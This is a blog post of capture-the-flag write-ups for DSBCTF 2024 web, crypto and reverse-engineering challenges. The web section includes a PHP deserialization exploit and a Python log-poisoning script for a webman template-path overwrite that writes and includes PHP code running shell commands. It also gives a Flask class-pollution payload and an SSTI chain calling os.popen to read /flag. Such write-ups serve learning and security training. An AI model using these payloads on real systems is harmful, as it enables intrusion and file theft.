本文最后更新于 2024年11月14日 下午
前言:妹打就不代表我不会,跟着题目学习学习吧
web 签到·好玩的PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting (0 ); highlight_file (__FILE__ ); class ctfshow { private $d = '' ; private $s = '' ; private $b = '' ; private $ctf = '' ; public function __destruct ( ) { $this ->d = (string )$this ->d; $this ->s = (string )$this ->s; $this ->b = (string )$this ->b; if (($this ->d != $this ->s) && ($this ->d != $this ->b) && ($this ->s != $this ->b)) { $dsb = $this ->d.$this ->s.$this ->b; if ((strlen ($dsb ) <= 3 ) && (strlen ($this ->ctf) <= 3 )) { if (($dsb !== $this ->ctf) && ($this ->ctf !== $dsb )) { if (md5 ($dsb ) === md5 ($this ->ctf)) { echo file_get_contents ("/flag.txt" ); } } } } } } unserialize ($_GET ["dsbctf" ]);
简单的分析一下就是传参进行比较,就可以得到flag了
考察的知识点是PHP特殊浮点常量INF和NAN
对于d
,s
,b
传入三个不同的值,互不相等,拼接起来之后不于ctf
的值相等,但是两者的MD5值强等于
INF
和NAN
这两个常量转化为字符串类型之后的MD5值和原先的浮点类型MD5值相等,由于类型不相等,长度均为3,可以满足条件绕过,根据所有条件的限制,最后上exp
1 2 3 4 5 6 7 8 9 10 <?php class ctfshow { private $d = 'I' ; private $s = 'N' ; private $b = 'F' ; private $ctf = INF; }$exp =new ctfshow ();echo urlencode (serialize ($exp ));
迷雾重重 先看题目的控制器的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php namespace app \controller ;use support \Request ;use support \exception \BusinessException ;class IndexController { public function index (Request $request ) { return view ('index/index' ); } public function testUnserialize (Request $request ) { if (null !== $request ->get ('data' )){ $data = $request ->get ('data' ); unserialize ($data ); } return "unserialize测试完毕" ; } public function testJson (Request $request ) { if (null !== $request ->get ('data' )){ $data = json_decode ($request ->get ('data' ),true ); if (null !== $data && $data ['name' ] == 'guest' ){ return view ('index/view' , $data ); } } return "json_decode测试完毕" ; } public function testSession (Request $request ) { $session = $request ->session (); $session ->set ('username' ,"guest" ); $data = $session ->get ('username' ); return "session测试完毕 username: " .$data ; } public function testException (Request $request ) { if (null != $request ->get ('data' )){ $data = $request ->get ('data' ); throw new BusinessException ("业务异常 " .$data ,3000 ); } return "exception测试完毕" ; } }
看起来像是反序列化和session的题目,but不是,漏洞应该在
1 2 3 4 5 6 7 8 9 public function testJson (Request $request ) { if (null !== $request ->get ('data' )){ $data = json_decode ($request ->get ('data' ),true ); if (null !== $data && $data ['name' ] == 'guest' ){ return view ('index/view' , $data ); } } return "json_decode测试完毕" ; }
跟踪一下在这里的raw.php文件的第68行内容
1 \vendor\workerman\webman-framework\src\support\view
1 2 3 4 5 6 7 8 9 10 11 12 if (isset ($request ->_view_vars)) { extract ((array )$request ->_view_vars); } extract ($vars ); ob_start (); try { include $__template_path__ ; } catch (Throwable $e ) { ob_end_clean (); throw $e ; }
$var
就是view
方法的第二个参数,污染和过滤 直接导入符号表 形成变量覆盖的漏洞,需要覆盖$__template_path__
就行了
不存在阿帕奇和nginx,排除日志包含,不是session的竞争
官p的解释是包含框架日志文件,包含php
代码会导致include
失败,从而将报错信息不urlencode
情况下,写入日志文件,正好包含getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import requestsimport timefrom datetime import datetime url = "http://7a0ef514-570f-49b8-814a-fba44caa91cc.challenge.ctf.show/" def get_webroot (): print ("[+] Getting webroot..." ) webroot = "" for i in range (1 , 300 ): r = requests.get( url=url + 'index/testJson?data={{"name": "guest", "__template_path__": "/proc/{}/cmdline"}}' .format (i)) time.sleep(0.2 ) if "start.php" in r.text: print (f"[\033[31m*\033[0m] Found start.php at /proc/{i} /cmdline" ) webroot = r.text.split("start_file=" )[1 ][:-10 ] print (f"Found webroot: {webroot} " ) break return webrootdef send_shell (webroot ): payload = 'index/testJson?data={{"name":"guest","__template_path__":"<?php%20`cat%20/s00*>{}/public/flag.txt`;?>"}}' .format ( webroot) r = requests.get(url=url + payload) time.sleep(1 ) if r.status_code == 500 : print ("[\033[31m*\033[0m] Shell sent successfully" ) else : print ("Failed to send shell" )def include_shell (webroot ): now = datetime.now() payload = 'index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-{}-{}-{}.log"}}' .format ( webroot, now.strftime("%Y" ), now.strftime("%m" ), now.strftime("%d" )) r = requests.get(url=url + payload) time.sleep(5 ) r = requests.get(url=url + 'flag.txt' ) if "ctfshow" in r.text: print ("=================FLAG==================\n" ) print ("\033[32m" + r.text + "\033[0m" ) print ("=================FLAG==================\n" ) print ("[\033[31m*\033[0m] Shell included successfully" ) else : print ("Failed to include shell" )def exploit (): webroot = get_webroot() send_shell(webroot) include_shell(webroot)if __name__ == '__main__' : exploit()
1 2 3 通过遍历 /proc/{i}/cmdline,猜测每个进程的命令行内容,寻找包含 start.php 的进程。通过某些特定的进程或者系统服务来确定Web根目录 通过发送特制的payload,将恶意PHP代码注入到目标Web应用中。这个PHP代码会在服务器上执行命令并将结果写入到指定的文件中。 使用Web应用生成的日志文件来绕过可能的安全检查。通过让PHP代码被写入到日志文件中,并通过 include 机制被执行,从而获取敏感信息
是没太懂
ez_inject 先前端注册一个账户,进去发现没权限,发现有cookie值
用flask-unsign看一下内容
这里就写个非预期吧预期解可以看出题人的博客,下面是预期解
DSBCTF2024 | hacking the future (baozongwi.xyz)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsimport json url = "http://694380d1-75a1-414d-b790-643f00f64178.challenge.ctf.show/register" payload={ "username" : "orangee" , "password" : "orangee" , "__init__" : { "__globals__" : { "app" : { "_static_folder" :"/" } } } } r = requests.post(url=url, json=payload)print (r.text)
访问/static/flag
就可以拿到答案了
ezzz_ssti 先fenjing一下没出的来,只能手输入了,测试了一下有长度的限制
题解是利用config的update拼接得到的注入
1 2 3 {{config.update(a=lipsum.__globals__)}} {{config.update(b=config.a.os.popen)}} {{config.b('cat /flag' ).read ()}}
简单的文件上传 题目描述:jre1.8 php7.2 不需要 扫描 爆破 竞争 盲注
可以上传jar后缀文件
可以删除上传后的jar包
输入jar文件名称,可以执行jar包
执行后 有执行回显
CTFshow DSBCTF 官方WP
剩下的看官p吧,不会java
web复现了几点还是学到挺多知识的,其他方向的题我随缘写写。
crypto 签到·一把梭 先正常的long_to_bytes
然后写个脚本简单爆破一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from Crypto.Util.number import *def find_eth_root (c, e, n ): low = 0 high = n while low < high: mid = (low + high) // 2 if pow (mid, e, n) == c: return mid if pow (mid, e, n) < c: low = mid + 1 else : high = mid return None n = 0x846d39bff2e430ce49d3230c7f00b81b23e4f0c733f7f52f6a5d32460e456e5f c = 0x4eeec51849a85e5a6566f8d73a74b1e64959aa893f98e01c1e02c3120496f8b1 for d in range (1 , 101 ): try : phi = (n-1 ) e = pow (d, -1 , phi) m = pow (c, d, n) flag = long_to_bytes(m) if b'flag' in flag.lower() or b'ctf' in flag.lower(): print (f"Found potential flag with d={d} :" ) print (flag) break except : continue
古典古典古典 古典套题出到密码里我统一说烂,跟着写一遍
1 UUxRQjFBU19NWkFFe1pPX0xBMV9PMVVOU31OV05aX0IxSA==
这个密文,先进行base64解密,得到这个
1 QLQB1AS_MZAE{ZO_ LA1_O1UNS}NWNZ_ B1H
hint: {}位置对了就能出了吗?什么加密会保留{}位置
尝试栅栏密码,因为看着像
w型的栅栏得到了这个内容
1 QZNALEW{QZNOB_ZL1A_ 1A_BOS11U_ NHSM}
发现不能得出还需要凯撒,进行mod19
1 XGUHSLD{XGUVI_GS1H_ 1H_IVZ11B_ UOZT}
最后进行atbash
1 CTFSHOW{CTFER_TH1S_ 1S_REA11Y_ FLAG}
评价就是纯烂,没新意
Re 签到·easyRE 找到对应的class,先base解密一下得到内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import java.nio.charset.StandardCharsets;import java.security.SecureRandom;import java.util.*;public class D8yDSBCTF { private static final String P3WSSK = "AES/ECB/PKCS5Padding" ; private static final String C89SYS__ = "abcdefghijklmnopqrstuvwxyz" ; private static final String C7yyfggl = C89SYS__.toUpperCase(); private static final String N9SSCRT = "0123456789" ; private static final String D9UUSACR = C89SYS__ + C7yyfggl + N9SSCRT; private static SecureRandom rf3ffc = new SecureRandom (); public void start () throws Exception { String key = b3f7a__0x337f2a(a98fac77f__3c2a(1 <<4 )).get(1 ); String e3yfbbglsk = b3f7a__0x337f2a(a98fac77f__3c2a(1 <<4 )).get(0 ); Scanner scanner = new Scanner (System.in); System.out.println("please input password:" ); String i3clscwyt = scanner.nextLine(); if (e3c7go_to(i3clscwyt,key).equals(e3yfbbglsk)) { System.out.println("Login Successful" ); } else { System.out.println("Login Failed" ); } } private List<String> b3f7a__0x337f2a (String a783c_7fxf__) { final String f37xcrxedrd_ = "jvjeTQVGcDGPgFeC+E90Pz6wYzjcBK49YDx2W+6YFTjk/wma7Oa5J3O2ns8OptbxyNgIvYJf/J4BRJOat0LY2A==" ; StringBuilder c0fybbg = new StringBuilder (); List<String> l2crsys = new ArrayList <String>(); char [] f117xc = f37xcrxedrd_.toCharArray(); for (char c : f117xc) { c0fybbg.append((char )(((c >>> 4 ^ (c << 4 ) ^ (c >>> 4 ))) >> 4 )); } l2crsys.add(c0fybbg.substring(0 ,c0fybbg.length()-24 )); l2crsys.add(c0fybbg.substring(l2crsys.get(0 ).length(),c0fybbg.length())); return l2crsys; } public String a98fac77f__3c2a (int length) { if (length < 1 ) throw new IllegalArgumentException ("Length must be positive" ); StringBuilder s7cyscrs = new StringBuilder (length); for (int i = 0 ; i < length; i++) { int randomIndex = rf3ffc.nextInt(D9UUSACR.length()); s7cyscrs.append(D9UUSACR.charAt(randomIndex)); } return s7cyscrs.toString(); } public String e3c7go_to (String coysc21k, String k89csbbv) throws Exception { while (k89csbbv.getBytes(StandardCharsets.UTF_8).length < 16 ) { k89csbbv += k89csbbv; } byte [] keyBytes = k89csbbv.substring(0 , 16 ).getBytes(StandardCharsets.UTF_8); SecretKeySpec s88vfy = new SecretKeySpec (keyBytes, "AES" ); Cipher c1ppy = Cipher.getInstance(P3WSSK); c1ppy.init(Cipher.ENCRYPT_MODE, s88vfy); byte [] encryptedBytes = c1ppy.doFinal(coysc21k.getBytes(StandardCharsets.UTF_8)); return Base64.getEncoder().encodeToString(encryptedBytes); } }
根据分析取密文和密钥 然后 最后24个字符是key
1 2 3 4 5 6 7 8 9 10 11 12 private List<String> b3f7a__0x337f2a (String a783c_7fxf__) { final String f37xcrxedrd_ = "jvjeTQVGcDGPgFeC+E90Pz6wYzjcBK49YDx2W+6YFTjk/wma7Oa5J3O2ns8OptbxyNgIvYJf/J4BRJOat0LY2A==" ; StringBuilder c0fybbg = new StringBuilder (); List<String> l2crsys = new ArrayList <String>(); char [] f117xc = f37xcrxedrd_.toCharArray(); for (char c : f117xc) { c0fybbg.append((char )(((c >>> 4 ^ (c << 4 ) ^ (c >>> 4 ))) >> 4 )); } l2crsys.add(c0fybbg.substring(0 ,c0fybbg.length()-24 )); l2crsys.add(c0fybbg.substring(l2crsys.get(0 ).length(),c0fybbg.length())); return l2crsys; }
最后解密